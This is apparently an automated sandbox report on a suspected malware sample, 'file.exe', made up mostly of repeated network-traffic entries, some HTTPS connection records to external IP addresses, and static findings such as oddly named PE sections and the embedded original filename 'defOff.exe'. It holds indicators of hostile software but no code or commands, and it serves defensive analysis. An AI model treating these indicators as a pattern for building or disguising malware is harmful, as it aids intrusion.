Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936

Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.55:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49862 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: file.exe, 00000000.00000003.1927365943.0000000005BAC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925978256.0000000005AC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1923938674.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925008457.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1934936077.0000000005BFA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925527276.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1925873825.0000000005C81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1932530658.0000000005BE3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1933710594.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1924616809.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1926202073.0000000005C78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
